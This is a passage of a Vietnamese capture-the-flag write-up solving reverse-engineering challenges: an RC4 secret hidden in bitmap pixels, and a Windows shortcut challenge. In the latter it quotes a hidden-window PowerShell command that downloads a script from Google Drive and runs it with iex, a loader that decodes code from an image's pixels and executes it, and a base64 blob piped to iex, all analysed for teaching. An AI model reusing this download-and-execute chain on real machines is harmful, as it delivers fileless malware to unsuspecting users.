m = s.model()
md = sorted([(d, m[d]) for d in m], key = lambda x: str(x[0]))
for i in md:
flag.append(i[1].as_long())
for i in range(0, 8):
data[i_len_enc + i] = flag[i]
with open("flag.jpg", "wb") as f:
f.write(bytearray(data))
print("Done!")
Flag là: KMA{Encryp7_w17H0u7_x0r}
Amazing Good Mood
Theo như dạng đề này, tôi mạnh dạng đoán là flag đã được giấu vào các pixel của ảnh :))
Load file vào CFF Explore thì tôi nhận ra file được viết bằng C#.
Load file vào dnSpy để phân tích.
Tại hàm main()
, ta thấy chương trình yêu cầu 3 tham số: Đường dẫn file bitmap gốc, đường dẫn file chứa secret cần giấu vào ảnh, đường dẫn file bitmap sẽ được lưu.
Ta chú ý tại dòng 172 và 173, sẽ dùng để lấy các bytes secret và kiểm tra chiều dài secret phải bằng 24.
Hàm Program.h()
sẽ làm nhiệm vụ mã hóa secret, tôi nhận ra đây là mã hóa RC4.
Key sẽ được decode base64 của biến Program.yy
.
Đặc biệt chú ý, nhấn chuột phải -> Analyze, ta sẽ thấy biến này còn được sử dụng tại hàm Program.Init()
.
Hàm này được gọi ở đầu hàm main()
, nó thực hiện kiểm tra debug bằng hàm IsDebuggerPresent()
. Nếu đúng thì sẽ ghép thêm chuỗi QDIwMjI=
vào biến Program.yy
, ngược lại thì ghép thêm chuỗi QDEyMzQ=
.
Từ đây ta có thể decode base64 chuỗi S01BQ1RGQDEyMzQ=
sẽ được key là KMACTF@1234
.
Sau khi mã hóa secret. Hàm Program.j()
sẽ được gọi để giấu encrypted secret theo quy tắc như sau:
- red: sẽ giữ 3 bit tính từ bit thấp nhất
- green: sẽ giữ 3 bit tiếp theo
- blue: sẽ giữ 3 bit còn lại
Từ những gì tôi phân tích, tôi sẽ viết một đoạn C# để dump các pixel từ file encrypted.bmp
sau đó phục hồi lại encrypted secret. Cuối cùng sẽ decrypt bằng RC4.
static void Main(string[] args)
{
Bitmap image1 = new Bitmap("C:\\Users\\ChiThanh\\Desktop\\kmactf\\re\\encrypted.bmp");
int x, y;
int z = 0;
for (x = 0; x < image1.Width; x++)
{
for (y = 0; y < image1.Height; y++)
{
if (z >= 24) {
System.Environment.Exit(0);
}
z += 1;
Color pixelColor = image1.GetPixel(x, y);
int result = (pixelColor.R << 6) + (pixelColor.G << 3) + pixelColor.B;
Console.Write(result.ToString("X2"));
}
}
}
Flag là KMA{d0nT_tRu$t_m3_hihi!}
ps
Nhìn vào file ps
thì tôi xác định đây là một shortcut. Thường một số malware cũng hay sử dụng cách này để download payload về. Vì vậy tôi sẽ vào Property để kiểm tra target của nó.
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -w hidden -c "(New-Object Net.WebClient).DownloadString('https://drive.google.com/u/0/uc?id=1rzjAbtVnylBuOL4hSdp60fGZ24Od7DCV&export=download') | iex"
Chúng ta thấy shortcut này dùng script của Powershell để download file về thực thi. Tôi sẽ download file về để phân tích.
sal a New-Object;
Add-Type -A System.Drawing;
$g = a System.Drawing.Bitmap((a Net.WebClient).OpenRead("https://i.ibb.co/FmsX0Bx/payload.png"));
$o = a Byte[] 2221;
(0..0) | % {
foreach ($x in (0..2220)) {
$p = $g.GetPixel($x, $_);
$o[$_ * 2221 + $x] = ([math]::Floor(($p.B -band 15) * 16) -bor ($p.G -band 15))
}
};
IEX([System.Text.Encoding]::ASCII.GetString($o[0..1417]))
File download về cũng là một Powershell script, script này thực hiện việc download payload về, sau đó giải mã payload đó. Cuối cùng sẽ thực thi payload đó.
Để có thể tiếp tục phân tích, tôi đã sửa lại script như bên dưới, sau đó upload lên drive, sửa lại link trong target của shortcut và thực thi lại ps
shortcut.
sal a New-Object;
Add-Type -A System.Drawing;
$g = a System.Drawing.Bitmap((a Net.WebClient).OpenRead("https://i.ibb.co/FmsX0Bx/payload.png"));
$o = a Byte[] 2221;
(0..0) | % {
foreach ($x in (0..2220)) {
$p = $g.GetPixel($x, $_);
$o[$_ * 2221 + $x] = ([math]::Floor(($p.B -band 15) * 16) -bor ($p.G -band 15))
}
};
[System.Text.Encoding]::ASCII.GetString($o[0..1417]) | Out-File -FilePath .\Payload.txt
Sau khi thực thi, ta có được file Payload.txt
.
[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String("JFI9eyRELCRLPSRBcmdzOyRTPTAuLjI1NTswLi4yNTV8JXskSj0oJEorJFNbJF9dKyRLWyRfJSRLLkxlbmd0aF0pJTI1NjskU1skX10sJFNbJEpdPSRTWyRKXSwkU1skX119OyREfCV7JEk9KCRJKzEpJTI1NjskSD0oJEgrJFNbJEldKSUyNTY7JFNbJEldLCRTWyRIXT0kU1skSF0sJFNbJEldOyRfLWJ4b3IkU1soJFNbJEldKyRTWyRIXSklMjU2XX19O1t2b2lkXVtSZWZsZWN0aW9uLkFzc2VtYmx5XTo6TG9hZFdpdGhQYXJ0aWFsTmFtZSgiTWljcm9zb2Z0LlZpc3VhbEJhc2ljIik7JEluID0gKFtzeXN0ZW0uVGV4dC5FbmNvZGluZ106OlVURjgpLkdldEJ5dGVzKFtNaWNyb3NvZnQuVmlzdWFsQmFzaWMuSW50ZXJhY3Rpb25dOjpJbnB1dEJveCggIkVudGVyIGZsYWc6IiwiU2ltcGxlIENyYWNrbWUiKSk7W2J5dGVbXV0gJEsgPSAxMTksNzIsMTIxLDk1LDg5LDQ4LDExNyw5NSw5OCw4NSw0OSw0OSw4OSw5NSwxMDksNTE7W2J5dGVbXV0gJEQgPSA0OSw2Nyw1Nyw0OSw2NSw0OSw1Niw2Niw2Nyw2OCw0OCw1NSw1Niw1Miw3MCw1Myw1NCw1NSw1Niw2NSw1MCw1Nyw2OCw1NSw1MSw1NCw1Miw1MCw3MCw1Nyw2Niw1NSw2OCw2Nyw1Nyw1Nyw3MCw1NCw2NSw1MSw1Miw1NCw2Niw1Miw2OSw2OCw1MSw2Niw1MCw0OCw0OCw1Nyw2OCw2NSw1MSw2OCw1NSw1NSw2Nyw0OSw1NSw1MCw1NCw2Nyw1Niw2NTskViA9ICgmICRSICRJbiAkS3wgRm9yRWFjaC1PYmplY3QgeyAiezA6WDJ9IiAtZiAkXyB9KSAtam9pbiAnJztpZihbU3lzdGVtLlRleHQuRW5jb2RpbmddOjpBU0NJSS5HZXRTdHJpbmcoJEQpIC1lcSAkVil7W01pY3Jvc29mdC5WaXN1YWxCYXNpYy5JbnRlcmFjdGlvbl06Ok1zZ0JveCgiQ29ycmVjdCEiLCAiT2tPbmx5LFN5c3RlbU1vZGFsLEluZm9ybWF0aW9uIiwgIlN1Y2Nlc3MiKX1lbHNle1tNaWNyb3NvZnQuVmlzdWFsQmFzaWMuSW50ZXJhY3Rpb25dOjpNc2dCb3goIkluY29ycmVjdCEiLCAiT2tPbmx5LFN5c3RlbU1vZGFsLEV4Y2xhbWF0aW9uIiwgIkVycm9yIil9")) | iex
Decode base64, ta được đoạn script như bên dưới:
$R={ # RC4 function
$D, $K = $Args;
$S = 0..255;
0..255 | % # KSA
{
$J = ($J + $S[$_] + $K[$_ % $K.Length]) % 256;
$S[$_], $S[$J] = $S[$J], $S[$_] # swap
};
$D | % # PRGA
{
$I = ($I + 1) % 256;
$H = ($H + $S[$I]) % 256;
$S[$I], $S[$H] = $S[$H], $S[$I];
$_ -bxor $S[($S[$I] + $S[$H]) % 256]
}
};
[void][Reflection.Assembly]::LoadWithPartialName("Microsoft.VisualBasic");
$In = ([system.Text.Encoding]::UTF8).GetBytes([Microsoft.VisualBasic.Interaction]::InputBox( "Enter flag:","Simple Crackme"));
[byte[]] $K = 119,72,121,95,89,48,117,95,98,85,49,49,89,95,109,51;
[byte[]] $D = 49,67,57,49,65,49,56,66,67,68,48,55,56,52,70,53,54,55,56,65,50,57,68,55,51,54,52,50,70,57,66,55,68,67,57,57,70,54,65,51,52,54,66,52,69,68,51,66,50,48,48,57,68,65,51,68,55,55,67,49,55,50,54,67,56,65;
$V = (& $R $In $K| ForEach-Object { "{0:X2}" -f $_ }) -join '';
if([System.Text.Encoding]::ASCII.GetString($D) -eq $V){
[Microsoft.VisualBasic.Interaction]::MsgBox("Correct!", "OkOnly,SystemModal,Information", "Success")
}
else{
[Microsoft.VisualBasic.Interaction]::MsgBox("Incorrect!", "OkOnly,SystemModal,Exclamation", "Error")
}
Cách hoạt động của script sẽ như sau:
- Biến
$In
sẽ chứa chuỗi flag nhập vào InputBox( "Enter flag:","Simple Crackme"));
sẽ mở một box để người dùng nhập flag- Biến
$K
sẽ là mảng key để mã hóa flag - Biến
$D
sẽ là mảng flag đã bị mã hóa $V = (& $R $In $K| ForEach-Object { "{0:X2}" -f $_ }) -join '';
thực hiện việc gọi hàm$R
với tham số là$In
và$K
. Kết quả trả về của hàm sẽ được chuyển sang chuỗi các kí tự hexa và lưu vào biến$V
[System.Text.Encoding]::ASCII.GetString($D) -eq $V
dùng để so sánh biến$D
và$V
- Hàm
$R
là hàm mã hóa RC4, với$D
là flag và$K
là key
Tới đây, tôi có thể decrypt RC4 với key=7748795f5930755f62553131595f6d33
, enc=1C91A18BCD0784F5678A29D73642F9B7DC99F6A346B4ED3B2009DA3D77C1726C8A
.
Flag là: KMA{----->fiL3L355_mALwar3<-----}